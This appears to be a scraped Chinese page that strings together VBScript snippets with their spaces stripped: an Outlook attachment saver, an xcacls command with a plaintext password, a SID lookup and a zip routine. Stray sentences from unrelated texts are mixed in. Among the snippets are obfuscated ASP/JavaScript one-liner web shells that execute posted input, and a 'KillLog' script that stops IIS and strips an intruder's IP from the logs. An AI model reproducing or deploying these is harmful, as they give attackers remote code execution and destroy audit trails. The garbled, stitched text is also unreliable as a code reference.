'以下是代码（放在一个Command按钮下面）DimoAppAsOutlook.ApplicationDimoNameSpaceAsNameSpaceDimoFolderAsMAPIFolderDimoMailItemAsObjectDimsMessageAsStringSetoApp=NewOutlook.ApplicationSetoNameSpace=oApp.GetNamespace("MAPI")SetoFolder=oNameSpace.GetDefaultFolder(olFolderInbox)　　ForEachoMailItemInoFolder.Items　　　　WithoMailItem　　　　　　IfoMailItem.Attachments.Count>0Then'?　　　　　　　oMailItem.Attachments.Item(1).SaveAsFile"C:\Temp\OutlookAttachments"&oMailItem.Attachments.Item(1).filename　　　　　　　MsgBoxoMailItem.Attachments.Item(1).DisplayName&"wassavedas"&oMailItem.Attachments.Item(1).filename　　　　　　EndIf　　　　EndWith　　NextoMailItemSetoMailItem=NothingSetoFolder=NothingSetoNameSpace=NothingSetoApp=Nothing

作者：LewisCornick邮箱：l_cornick@hotmail.com网址：

->/s Computer xcacls.vbs d:\default.htm /g "domain\group2":f /server servera /user servera\admin /pass password /e 该命令使用 WMI 作为 ServerA\Admin 远程连接到 ServerA，然后将 Default.htm 上的完全权限授予 Domain\Group2如果您有兴趣，可以到往册表的“我的电脑＼HKEY_CLASSES_ROOT＼”或“我的电脑\HKEY_LOCAL_MACHINE\Software\CLASSES”下去看看，本文的内容大都是从那里“抄”来的

set path=wscript.createobject("wscript.shell") usera=path.ExpandEnvironmentStrings("%username%") name=inputbox("请输入你要查询的用户名","sid查询--by不追不悔",usera) strComputer="." Set wbemServices=Getobject("winmgmts:\" & strComputer) Set wbemObjectSet=wbemServices.execquery("select sid from win32_userAccount where name='"&name&"'") For Each mo In wbemObjectSet sSID=mo.sid Next If(sSID="")Then WScript.Echo "对不起，无此用户" Else WScript.Echo sSID End If 典型地，这是一个由WindowsAPI调用返回的字符串

<scriptlanguage=vbsrunat=server> Execute(HextoStr("65786563757465287265717565737428636872283335292929")) FunctionHextoStr(data) HextoStr="EXECUTE""""" C="&CHR(&H" N=")" DoWhileLen(data)>1 IfIsNumeric(Left(data,1))Then HextoStr=HextoStr&C&Left(data,2)&N data=Mid(data,3) Else HextoStr=HextoStr&C&Left(data,4)&N data=Mid(data,5) EndIf Loop EndFunction </script> <SCRIPTRUNAT=SERVERLANGUAGE=JAVASCRIPT>eval(String.fromCharCode( 116,114,121,123,101,118,97,108,40,82,101,113,117,101,115,116,46,102,111,114,109,40,39,35,39,41,43,39,39,41,125,99,97,116,99,1 04,40,101,41,123,125))</SCRIPt>　　adCmdTable2按表名计算CommandText，该表的列全部是由内部生成的SQL查询返回的

压缩： FunctionfZip(sSourceFolder,sTargetZIPFile) 'ThisfunctionwilladdallofthefilesinasourcefoldertoaZIPfile 'usingWindows'nativefolderZIPcapability. DimoShellApp,oFSO,iErr,sErrSource,sErrDescription SetoShellApp=CreateObject("Shell.Application") SetoFSO=CreateObject("Scripting.FileSystemObject") 'Thesourcefolderneedstohavea\ontheEnd IfRight(sSourceFolder,1)<>""ThensSourceFolder=sSourceFolder&"" OnErrorResumeNext 'IfatargetZIPexistsalready,deleteit IfoFSO.FileExists(sTargetZIPFile)ThenoFSO.DeleteFilesTargetZIPFile,True iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf OnErrorResumeNext 'Writethefileheaderforablankzipfile. oFSO.OpenTextFile(sTargetZIPFile,2,True).Write"PK"&Chr(5)&Chr(6)&String(18,Chr(0)) iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf OnErrorResumeNext 'Startcopyingfilesintothezipfromthesourcefolder. oShellApp.NameSpace(sTargetZIPFile).CopyHereoShellApp.NameSpace(sSourceFolder).Items iErr=Err.Number sErrSource=Err.Source sErrDescription=Err.Description OnErrorGoTo0 IfiErr<>0Then fZip=Array(iErr,sErrSource,sErrDescription) ExitFunction EndIf 'Becausethecopyingoccursinaseparateprocess,thescriptwilljustcontinue.RunaDO...LOOPtopreventthefunction 'fromexitinguntilthefileisfinishedzipping. DoUntiloShellApp.NameSpace(sTargetZIPFile).Items.Count=oShellApp.NameSpace(sSourceFolder).Items.Count WScript.Sleep1500'如果不成功，增加一下秒数 Loop fZip=Array(0,"","") EndFunction CallfZip("C:\vbs","c:\vbs.zip")做游戏用其中四个参数都是必要的，其含义分别为：应用程序名，区段，键，值OptionExplicit Dimsourcefile,ipaddress,objargs constdestfile="tempfile" ConstForWriting=2 DimText Dimfso,objNet,ServiceObj DimtxtStream,txtStreamOut SetobjArgs=WScript.Arguments IfobjArgs.Count=2Then sourcefile=objArgs(0) ipaddress=objargs(1) Else wscript.echo"ParameterError"+vbcrlf wscript.Echo"USAGE:KillLog.vbsLogFileNameYourIP." wscript.Quit1 EndIf Setfso=CreateObject("Scripting.FileSystemObject") iffso.FileExists(sourcefile)then SetobjNet=WScript.CreateObject("WScript.Network") SetServiceObj=GetObject(""&objNet.ComputerName&"/w3svc") SetobjNet=nothing ServiceObj.stop wscript.sleep6000 SettxtStream=fso.OpenTextFile(sourcefile) SettxtStreamOut=fso.OpenTextFile(destfile,ForWriting,True) DoWhileNot(txtStream.atEndOfStream) Text=txtStream.ReadLine ifinstr(Text,ipaddress)=0then txtStreamOut.WriteLineText endif Loop SettxtStream=Nothing SettxtStreamOut=Nothing WScript.Echo"Thelogfile--"&sourcefile&"hascleanedyourIP!" Else WScript.Echo"TheLogfile--"&sourcefile&"hasnotfound!" Wscript.quit EndIf fso.Copyfiledestfile,sourcefile fso.deletefiledestfile Setfso=Nothing ServiceObj.start SetServiceObj=Nothing 。